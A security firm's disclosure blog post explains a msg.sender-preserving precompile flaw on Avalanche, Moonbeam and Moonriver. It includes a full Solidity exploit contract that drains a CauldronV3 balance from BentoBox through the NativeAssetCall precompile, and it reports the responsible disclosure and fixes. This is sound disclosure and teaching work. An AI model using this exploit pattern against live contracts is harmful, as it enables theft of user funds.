art_img
January 28, 2023

Avalanche Vulnerability Report

Statemind team
Statemind team

Avalanche Vulnerability Report: Technical overview

On September 4, 2022, Statemind reported critical vulnerabilities to Avalanche, Moonbeam, and Moonriver as a result of widespread research across more than ten top blockchain protocols.

In this blog post, we will explain the technical aspects that caused the bug and how the same vulnerability affected 3 EVM chains implemented on different languages and frameworks.

Issue root cause (let's start with Avalanche)

A flaw was discovered within the Avalanche C-Chain Native Asset Call precompile. The NativeAssetCall precompile is a unique feature on the C-Chain connected to Avalanche Native Tokens. The vulnerability could be exploited by bad actors to call targets bypassing blacklist protection.

Let's dive into code

Here is the NativeAssetCall implementation(github link):

func (evm *EVM) NativeAssetCall(caller common.Address, input []byte, suppliedGas uint64, gasCost uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) {
 if suppliedGas < gasCost {
  return nil, 0, vmerrs.ErrOutOfGas
 }
 remainingGas = suppliedGas - gasCost

 if readOnly {
  return nil, remainingGas, vmerrs.ErrExecutionReverted
 }

 to, assetID, assetAmount, callData, err := UnpackNativeAssetCallInput(input)
 if err != nil {
  return nil, remainingGas, vmerrs.ErrExecutionReverted
 }

 // Note: it is not possible for a negative assetAmount to be passed in here due to the fact that decoding a
 // byte slice into a *big.Int type will always return a positive value.
 if assetAmount.Sign() != 0 && !evm.Context.CanTransferMC(evm.StateDB, caller, to, assetID, assetAmount) {
  return nil, remainingGas, vmerrs.ErrInsufficientBalance
 }

 snapshot := evm.StateDB.Snapshot()

 if !evm.StateDB.Exist(to) {
  if remainingGas < params.CallNewAccountGas {
   return nil, 0, vmerrs.ErrOutOfGas
  }
  remainingGas -= params.CallNewAccountGas
  evm.StateDB.CreateAccount(to)
 }

 // Increment the call depth which is restricted to 1024
 evm.depth++
 defer func() { evm.depth-- }()

 // Send [assetAmount] of [assetID] to [to] address
 evm.Context.TransferMultiCoin(evm.StateDB, caller, to, assetID, assetAmount)
 ret, remainingGas, err = evm.Call(AccountRef(caller), to, callData, remainingGas, new(big.Int))

 // When an error was returned by the EVM or when setting the creation code
 // above we revert to the snapshot and consume any gas remaining. Additionally
 // when we're in homestead this also counts for code storage gas errors.
 if err != nil {
  evm.StateDB.RevertToSnapshot(snapshot)
  if err != vmerrs.ErrExecutionReverted {
   remainingGas = 0
  }
  // TODO: consider clearing up unused snapshots:
  //} else {
  // evm.StateDB.DiscardSnapshot(snapshot)
 }
 return ret, remainingGas, err
}

This method allows users to send native assets and optionally call the reciever contract. It's very similar to CALL behavior but implemented on precompile level.

The most interesting part of this code is here:

ret, remainingGas, err = evm.Call(AccountRef(caller), to, callData, remainingGas, new(big.Int))

This line says that precompile calls the reciever address(to) with calldata(callData) passed by the caller and also keeps the original caller as a caller for the reciever contract. That means that contract to will receive a call with msg.sender == [caller of precompile contract].

This fact looks very interesting because now we can break some access control checks, e.g:

pragma solidity >=0.8.0 <0.9.0;

contract Foo {
  address public bar;

  // can be called only from bar contract
  function onlyForBar() external {
    require(msg.sender == bar, "!bar");

    // TODO some restricted things
  }
}

contract Bar {
  address public foo;
  address public owner;

  // can make abritrary calls but not to foo
  function makeArbitraryCall(address to, bytes memory cd) external {
    require(to != foo, "!foo");

    to.call(cd);
  }

  function callFoo() external {
    require(msg.sender == owner, "!owner");
    // make admin call
    Foo(foo).onlyForBar();
  }
}

There are two contracts in our simple example:

  • Foo - the contract that controlled by Bar
  • Bar - contract can make arbitrary calls to any contract except Foo by any user and can call Foo only by owner

So, imagine, what happens if we have NativeAssetCall precompile that can keep msg.sender but redirect the call to another contract?

Yes, of course, anyone can craft the call for Bar contract which calls NativeAssetCall address, and redirect the call to Foo contract with any calldata we want.

Let's try to find funds at risk

This part usually can take a long time to search, but we already knew the first target. This is Abracadabra's CauldronV3 contract (or Kashi from Sushi).

These two projects have very similar to our example flaw.

The _call method can make arbitrary calls to any address, but calls to bentoBox or this are restricted.

function _call(
  uint256 value,
  bytes memory data,
  uint256 value1,
  uint256 value2
) internal returns (bytes memory, uint8) {
  (address callee, bytes memory callData, bool useValue1, bool useValue2, uint8 returnValues) =
    abi.decode(data, (address, bytes, bool, bool, uint8));

  if (useValue1 && !useValue2) {
    callData = abi.encodePacked(callData, value1);
  } else if (!useValue1 && useValue2) {
    callData = abi.encodePacked(callData, value2);
  } else if (useValue1 && useValue2) {
    callData = abi.encodePacked(callData, value1, value2);
  }

  require(callee != address(bentoBox) && callee != address(this), "Cauldron: can't call");

  (bool success, bytes memory returnData) = callee.call{value: value}(callData);
  require(success, "Cauldron: call failed");
  return (returnData, returnValues);
}

So, we can prepare a call to NativeAssetCall which redirects the call to bentoBox or this with any payload.

Don't mind that _call is internal function :) This method is called from the public cook method, so we can use that.

Let's try to cook exploit

We have to spend some time compiling all things to exploit, but that was relatively easy since there are no tonnes of different flashloans :)

pragma solidity >=0.8.0 <0.9.0;

interface IBentobox {
  function transfer(
    address token,
    address from,
    address to,
    uint256 share
  ) external;

  function balanceOf(
    address token,
    address account
  ) view external returns (uint256);
}

interface IERC20 {
  function totalSupply() external view returns (uint256);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address to, uint256 amount) external returns (bool);
  function allowance(address owner, address spender) external view returns (uint256);
  function approve(address spender, uint256 amount) external returns (bool);
  function transferFrom(
    address from,
    address to,
    uint256 amount
  ) external returns (bool);
}

interface ICauldron {
  function bentoBox() external view returns (address);

  function cook(
    uint8[] calldata actions,
    uint256[] calldata values,
    bytes[] calldata datas
  ) external payable returns (uint256 value1, uint256 value2);
}


interface INativeAssetCall {
  function nativeAssetCall(address addr, uint256 assetID, uint256 assetAmount, bytes memory callData) external returns(bytes memory);
}

contract Exploit {
  uint8 internal constant ACTION_CALL = 30;
  address internal constant NATIVE_ASSET_CALL = 0x0100000000000000000000000000000000000002;

  address mimToken;
  address pwner;

  constructor(address _mimToken) {
    mimToken = _mimToken;
    pwner = msg.sender;
  }

  function run(address _cauldron, address receiver) external {
    require(pwner == msg.sender);

    INativeAssetCall precompile = INativeAssetCall(NATIVE_ASSET_CALL);
    ICauldron cauldron = ICauldron(_cauldron);
    IBentobox bento = IBentobox(cauldron.bentoBox());

    // fetch cauldron balance in bentobox
    uint256 amount = bento.balanceOf(mimToken, address(cauldron));

    // pack bentobox transfer call
    bytes memory bento_cd = abi.encodeWithSelector(bento.transfer.selector, mimToken, address(cauldron), receiver, amount);
    // pack bentobox call to precompile call
    bytes memory precompile_cd = abi.encodePacked(address(bento), uint256(0xec21e629d1252b3540e9d2fcd174a63af081417ea6826612e96815463b8a41d7), uint256(0), bento_cd);

    // (address callee, bytes memory callData, bool useValue1, bool useValue2, uint8 returnValues)
    // https://github.com/Abracadabra-money/magic-internet-money/blob/main/contracts/CauldronV3.sol#L399
    bytes memory action_data = abi.encode(NATIVE_ASSET_CALL, precompile_cd, false, false, uint8(0));

    // craft cauldron cook
    uint8[] memory actions = new uint8[](1);
    uint256[] memory values = new uint256[](1);
    bytes[] memory datas = new bytes[](1);

    actions[0] = ACTION_CALL;
    values[0] = 0;
    datas[0] = action_data;

    // call cook
    // call should transfer all cauldron's mim tokens in bentobox to hacker
    // that is possible since we omitted callee check in cauldron https://github.com/Abracadabra-money/magic-internet-money/blob/main/contracts/CauldronV3.sol#L410
    // see nativeassetcall precompile https://docs.avax.network/specs/coreth-arc20s#nativeassetcall
    cauldron.cook(actions, values, datas);

    require(bento.balanceOf(mimToken, receiver) > 0, "nothing transferred");
  }
}

What is the next?

After we found a hypothetical exploit, we wanted to test it but that was really hard. Yes, you can say something like "use tenderly forks", "hardhat forks", but they wouldn't work because the exploit uses native precompile that is not implemented in forked EVMs.

The fastest way was to report the bug as is, so we reported it to Abracadabra and Sushi teams through Immunefi.

Aaand, after some time both teams confirmed the exploit and whithatted funds. In parallel, Avalanche team also was informed about the exploit and in a couple of days they disabled precompile in their network.

Fix and whitehat were really fast, and all teams managed the situation like ninjas.

What is the next? [2]

During teams were busy on fixes we researched a dozen of other projects and found at least 2 new targets, but with much more low funds at risk and in the next day Avalanche team closed that bug forever for all potential targets.

In parallel with researching projects on Avalanche, we focused on other EVM chains to check them for this kind of vulnerability.

After some time we found exactly the same bug in Moonbeam and Moonriver chains, in this case, the vulnerability was exposed by Batch precompile. The Moonbeam's precompile functions are quite different from Avalanche's but uses the same mechanic with keeping msg.sender and redirecting a call to another address. We also informed their team and the bug was fixed by restricting calls from contract addresses, so now precompile can be called only from EOA.

Lessons learned

The reasons why a lot of projects use precompile are quite clear. Basically, if you want to build an EVM chain and add some custom logic to it, e.g. bridges, L2 connectors, or IBC, the precompile is the fastest way to do it.

But need to be very careful with several things:

  • Do not break EVM invariants even if they are not documented. If you break some invariant that makes smart contracts from other chains incompatible with your chain.
  • Be careful with stateful precompiles. If you have stateful precompile you need to check that it cannot be called using DELEGATECALL or CALLCODE because by default for stateless EVM precompiles it doesn't matter how you call them because they ignore msg.sender.

And of course, if you still want to modify EVM it's better to give your code for review to different independent parties who have expertise with a low-level EVM.

Share this article
More from blog

Smart contract audit and blockchain security